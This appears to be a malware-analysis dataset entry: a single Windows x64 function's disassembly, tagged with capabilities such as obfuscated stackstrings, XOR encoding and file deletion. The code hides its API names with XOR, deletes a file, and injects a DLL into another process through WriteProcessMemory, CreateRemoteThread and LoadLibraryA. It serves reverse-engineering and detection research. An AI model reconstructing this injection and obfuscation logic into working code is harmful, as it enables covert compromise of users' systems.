Function at 0x140048050
Capabilities:
Contain obfuscated stackstrings
Create thread
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
xor r12d, r12d
mov ebx, r12d
mov dword [rbp + 0x67], ebx
cmp byte [0x14019b410], r12b
je 0x140048182
lea rax, [rbp - 9]
mov qword [rbp + 0x6f], rax
lea rdx, [0x14019b438]
lea rcx, [rbp - 9]
call fcn.140046ec0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 8
mov qword [rbp - 0x11], 0xf
movabs rax, 0x676e696874796e41
mov qword [rbp - 0x29], rax
mov byte [rbp - 0x21], r12b
mov dword [rbp + 0x67], 0x39
movdqa xmm0, xmmword [str.qzpwHnhhurp.]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rbp - 0x79], 1
mov ecx, r12d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xf
jb 0x1400480f0
mov byte [rbp - 0x79], 0
lea r8, [rbp - 0x29]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x17]
call fcn.140049510
nop
lea r9, [rbp - 9]
mov r8, rax
lea rdx, [rbp - 0x69]
call fcn.1400475b0
mov r14, rax
mov dword [rbp + 0x67], 0x3b
lea rdx, [0x14019b418]
lea rcx, [rbp - 0x49]
call fcn.140046ec0
mov ebx, 0x7f
mov rax, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x140048154
mov r14, qword [r14]
lea rcx, [rbp - 0x49]
mov rdi, qword [rbp - 0x49]
mov rsi, qword [rbp - 0x31]
cmp rsi, 0xf
cmova rcx, rdi
mov r8, qword [rbp - 0x39]
cmp r8, rax
jne 0x14004818a
mov rdx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004818a
mov r14b, 1
jmp 0x14004818d
mov rsi, qword [rbp - 0x31]
mov rdi, qword [rbp - 0x49]
xor r14b, r14b
test bl, 4
je 0x1400481d0
and ebx, 0xfffffffb
cmp rsi, 0xf
jbe 0x1400481d0
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400481c7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400481c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400744bc
nop
test bl, 2
je 0x140048227
and ebx, 0xfffffffd
mov rdx, qword [rbp - 0x51]
cmp rdx, 0xf
jbe 0x140048216
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048211
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048211
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400744bc
movdqa xmm0, xmmword [0x1400bb220]
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x69], 0
test bl, 1
je 0x14004826a
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14004826a
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048265
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048265
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400744bc
test r14b, r14b
je 0x140048879
call fcn.14004fe00
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140048291
mov rdx, rax
lea rcx, [rbp - 0x29]
call fcn.1400458c0
nop
movdqa xmm0, xmmword [0x1400bb800]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rbp - 0x79], 0x5d09100f
mov dword [rbp - 0x75], 0x4d061310
mov dword [rbp - 0x71], 0x1004746
mov rcx, r12
nop
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x1a
jb 0x1400482d0
mov byte [rbp - 0x6e], 0
lea rax, [rsp + 0x40]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400482f0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x29]
call fcn.1400454c0
lea rcx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rcx, qword [rbp - 0x29]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor edx, edx
lea rcx, [0x14019b4a0]
call fcn.140050d60
call fcn.14004fe00
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], r12
mov qword [rbp - 0x31], r12
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140048341
mov rdx, rax
lea rcx, [rbp - 0x49]
call fcn.1400458c0
nop
movdqa xmm0, xmmword [0x1400bb800]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rbp - 0x79], 0x5d09100f
mov dword [rbp - 0x75], 0x4d061310
mov dword [rbp - 0x71], 0x1004746
mov rcx, r12
nop
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x1a
jb 0x140048380
mov byte [rbp - 0x6e], 0
lea rax, [rsp + 0x40]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400483a0
mov r8, rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x49]
call fcn.1400454c0
mov dword [rbp - 0x69], 0x71757c5e
mov dword [rbp - 0x65], 0x6b7a7e5a
mov dword [rbp - 0x61], 0x5c65697b
mov word [rbp - 0x5d], pe_nt_image_headers64
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xc
jb 0x1400483e0
mov byte [rbp - 0x5c], 0
mov dword [rsp + 0x40], 0x7b667679
mov dword [rsp + 0x44], 0x2b2b7b73
mov dword [rsp + 0x48], 0x71707f34
mov word [rbp - 0x7d], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x140048420
mov byte [rbp - 0x7c], 0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x40]
call fcn.1400474e0
mov dword [rbp - 0x69], 0x7b71635d
mov dword [rbp - 0x65], 0x7a776546
mov dword [rbp - 0x61], 0x6f687f
mov byte [rbp - 0x5d], 1
mov rcx, r12
nop
lea eax, [rcx + 0x12]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xb
jb 0x140048460
mov byte [rbp - 0x5d], 0
mov dword [rsp + 0x40], 0x7b667679
mov dword [rsp + 0x44], 0x2b2b7b73
mov dword [rsp + 0x48], 0x71707f34
mov word [rbp - 0x7d], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x1400484a0
mov byte [rbp - 0x7c], 0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x40]
call fcn.1400474e0
mov rdi, rax
mov dword [rbp - 0x69], 0x61667a44
mov dword [rbp - 0x65], 0x58747663
mov dword [rbp - 0x61], 0x7e737776
mov dword [rbp - 0x5d], 0x100675b
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xe
jb 0x1400484f0
mov byte [rbp - 0x5a], 0
mov dword [rsp + 0x40], 0x7b667679
mov dword [rsp + 0x44], 0x2b2b7b73
mov dword [rsp + 0x48], 0x71707f34
mov word [rbp - 0x7d], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x140048530
mov byte [rbp - 0x7c], 0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x40]
call fcn.1400474e0
mov rbx, rax
mov dword [rbp - 0x69], 0x70716154
mov dword [rbp - 0x65], 0x6b7a7e5a
mov dword [rbp - 0x61], 0x65697b
mov byte [rbp - 0x5d], 1
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xb
jb 0x140048580
mov byte [rbp - 0x5d], 0
mov dword [rsp + 0x40], 0x7b667679
mov dword [rsp + 0x44], 0x2b2b7b73
mov dword [rsp + 0x48], 0x71707f34
mov word [rbp - 0x7d], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x1400485c0
mov byte [rbp - 0x7c], 0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x40]
call fcn.1400474e0
mov dword [rbp - 0x69], 0x667b7f51
mov dword [rbp - 0x65], 0x77795f73
mov dword [rbp - 0x61], 0x79777e
mov byte [rbp - 0x5d], 1
mov rcx, r12
nop
lea eax, [rcx + 0x12]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xb
jb 0x140048600
mov byte [rbp - 0x5d], 0
mov dword [rsp + 0x40], 0x7b667679
mov dword [rsp + 0x44], 0x2b2b7b73
mov dword [rsp + 0x48], 0x71707f34
mov word [rbp - 0x7d], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x140048640
mov byte [rbp - 0x7c], 0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x40]
call fcn.1400474e0
mov r15, rax
mov dword [rbp - 0x69], 0x61667a44
mov dword [rbp - 0x65], 0x5f747663
mov dword [rbp - 0x61], 0x58797e68
mov word [rbp - 0x5d], 0x66
mov byte [rbp - 0x5b], 1
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xd
jb 0x140048690
mov byte [rbp - 0x5b], 0
mov dword [rsp + 0x40], 0x7b667679
mov dword [rsp + 0x44], 0x2b2b7b73
mov dword [rsp + 0x48], 0x71707f34
mov word [rbp - 0x7d], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x12]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x1400486d0
mov byte [rbp - 0x7c], 0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x40]
call fcn.1400474e0
mov r14, rax
call fcn.140047710
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call rdi
mov rdi, rax
test rax, rax
je 0x14004876e
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp - 0x39]
xor edx, edx
mov rcx, rax
call rbx
mov rsi, rax
test rax, rax
je 0x14004876e
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0xf
cmova r8, qword [rbp - 0x49]
mov qword [rsp + 0x20], r12
mov r9, qword [rbp - 0x39]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rcx, rdi
test eax, eax
jne 0x1400487b1
mov r9d, 0x8000
mov rdx, rsi
call r14
mov rcx, rdi
call r15
xor bl, bl
mov rdx, qword [rbp - 0x31]
cmp rdx, 0xf
jbe 0x140048826
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048821
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048821
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0x67], r12d
lea rdx, [rbp + 0x67]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call r14
mov rcx, rdi
call r15
cmp dword [rbp + 0x67], 0
je 0x14004876e
mov byte [0x14019b0ea], 1
mov bl, 1
jmp 0x140048770
call fcn.1400744bc
mov qword [rbp - 0x39], r12
mov qword [rbp - 0x31], 0xf
mov byte [rbp - 0x49], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140048874
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004886f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004886f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400744bc
movzx eax, bl
jmp 0x14004887b
xor al, al
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret